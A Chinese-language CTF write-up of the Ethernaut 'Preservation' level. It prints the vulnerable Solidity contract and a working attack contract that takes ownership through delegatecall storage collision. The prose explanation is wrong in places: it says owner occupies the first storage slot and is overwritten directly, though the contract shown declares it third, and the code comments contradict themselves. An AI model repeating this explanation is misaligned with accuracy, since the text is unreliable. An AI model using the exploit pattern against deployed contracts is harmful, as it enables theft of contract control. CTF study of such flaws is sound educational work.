Skip to content
On this page

CTF 挑战:Preservation - 揭秘 delegatecall 的时空奥秘

欢迎来到 EtherNaught 的 CTF 挑战世界!今天,我们将深入探讨一个名为 "Preservation" 的关卡,它将带我们领略 delegatecall 的强大力量,以及它在智能合约开发中可能带来的意想不到的后果。

挑战概览:

在这个名为 "Preservation" 的挑战中,你将面临一个 Preservation 合约。这个合约巧妙地利用了一个外部库来存储两个不同时区的精确时间。它的构造函数初始化了两个库实例,分别负责存储这两个时间。你的终极目标,便是 夺取这个合约的所有权

关键线索,助你破局:

如果你能抓住以下几个关键点,那么 "Preservation" 的谜题将迎刃而解:

  • delegatecall 的魔力: Solidity 的 delegatecall 是一个低级函数,它允许一个合约将执行委托给另一个合约。理解它的工作原理至关重要,特别是它如何实现链上库的调用,以及对执行范围(execution scope)的影响。
  • “保存上下文” 的含义: delegatecall 的一个核心特性是它会“保存上下文”。这意味着被调用的库在执行时,会继承调用合约的存储、状态以及 msg.sender 等信息。这正是我们攻击的关键所在!
  • 存储变量的奥秘: 智能合约的存储变量是如何组织的?理解它们的布局和访问方式,能帮助我们精确地操控合约的状态。
  • 数据类型转换的艺术: 在 Solidity 中,不同数据类型之间的转换是常见的操作。掌握好这些转换规则,能让你在构造攻击 payload 时更加得心应手。

深入剖析 Preservation.sol

让我们一起看看 Preservation.sol 的代码,来揭示它的设计思路:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime; // 这个变量是关键!
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender; // 初始所有者是部署者
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        // !!! 关键点:这里使用了 delegatecall !!!
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        // !!! 同样是 delegatecall !!!
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime; // 这个变量在 LibraryContract 中也有

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

洞察其中的漏洞:

仔细观察 setFirstTimesetSecondTime 函数,你会发现它们都通过 delegatecall 调用了外部的 LibraryContract。问题就出在这里!

  • Preservation 合约有一个 owner 变量。
  • LibraryContract 合约也有一个 storedTime 变量。

setFirstTime 被调用时,delegatecall 会让 LibraryContractsetTime 函数在 Preservation 合约的 存储空间 中执行。由于 Preservation 合约的 owner 变量在存储槽(storage slot)中,而 LibraryContract 合约的 storedTime 变量也恰好在某个存储槽中,关键在于 存储槽的顺序

如果 Preservation 合约的 owner 变量排布在存储槽的 第一个位置,而 LibraryContractstoredTime 变量也恰好是 第一个 变量,那么通过 delegatecall 并传递一个精心构造的 _timeStamp,我们就可以 覆盖 Preservation 合约中的 owner 变量!

攻击之道:Hack.sol 登场!

我们的攻击合约 Hack.sol 就是利用了这一原理:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPreservation {
    function setFirstTime(uint256) external;
    function owner() external view returns (address);
}

contract Hack {
    address public timeZone1Library; // 这里的变量定义是为了匹配,但不直接使用
    address public timeZone2Library; // 这里的变量定义是为了匹配,但不直接使用
    address public owner; // 这里的所有者是为了捕获 setTime 函数中的 owner
    
    IPreservation private immutable target; // 目标 Preservation 合约接口

    constructor(address _target) {
        target = IPreservation(_target);
    }

    function attack() external {
        // 第一次调用:目的是将 LibraryContract 中的 storedTime 变量(在 Preservation 合约中对应 owner 变量)指向我们自己的 Hack 合约地址
        target.setFirstTime(uint256(uint160(address(this))));

        // 第二次调用:再次调用 setFirstTime,这次的参数是我们想要成为的新所有者(这里是 msg.sender,即发起攻击的账号)
        //  因为第一次调用已经将 owner 变量的位置指向了我们,第二次调用就会覆盖掉 owner 变量。
        target.setFirstTime(uint256(uint160(msg.sender)));
        
        // 验证是否成功
        require(target.owner() == msg.sender, "Claim ownership fail!");
    }

    // 这个 setTime 函数是为了让 Hack 合约也能接收 setTime 的调用
    // 当 Preservation 合约通过 delegatecall 调用 LibraryContract 的 setTime 时,
    //  如果 LibraryContract 的 storedTime 变量在 Preservation 合约中的 owner 变量之后,
    //  那么这个 setTime 函数就会被执行,并更新 Hack 合约的 owner 变量。
    //  但是在这个特定的 CTF 关卡中,我们主要利用的是 delegatecall 覆盖 owner 变量。
    function setTime(uint256 _time) public {
        owner = address(uint160(_time));
    }
}

攻击步骤详解:

  1. 实例化攻击合约: 部署 Hack 合约,并将目标 Preservation 合约的地址作为构造函数的参数传入。
  2. 执行 attack() 函数:
    • 第一次调用 target.setFirstTime(uint256(uint160(address(this))))
      • delegatecall 会在 Preservation 的存储空间中调用 LibraryContractsetTime 函数。
      • uint256(uint160(address(this)))Hack 合约自身的地址转换为一个 uint256
      • 由于 Preservation 合约的 owner 变量存储在第一个槽,而 LibraryContractstoredTime 变量也位于第一个槽,这个调用实际上是将 Preservation 合约的 owner 变量的值 修改为 Hack 合约自身的地址
    • 第二次调用 target.setFirstTime(uint256(uint160(msg.sender)))
      • 再次通过 delegatecall 调用 LibraryContractsetTime 函数。
      • 这次传递的参数是将 发起攻击的账号(msg.sender)的地址 转换为 uint256
      • 由于 Preservation 合约的 owner 变量已经被指向了 Hack 合约,这次调用会 覆盖 owner 变量,将其值更新为 msg.sender 的地址。
  3. 验证所有权: 最后,检查 Preservation 合约的 owner 变量。如果一切顺利,它将显示为发起攻击的账号的地址,恭喜你,成功夺取了合约的所有权!

总结:

"Preservation" 挑战生动地展示了 delegatecall 的强大能力,以及它在处理存储时的“上下文保存”特性。理解 delegatecall 如何影响执行范围和存储布局,是发现此类漏洞的关键。这个挑战也再次提醒我们,在编写智能合约时,务必谨慎处理库的调用,并充分理解其潜在的风险。

希望这个详尽的解析能帮助你理解并成功攻破 "Preservation" 挑战!继续探索,发现更多区块链世界的奥秘!

Built with AiAda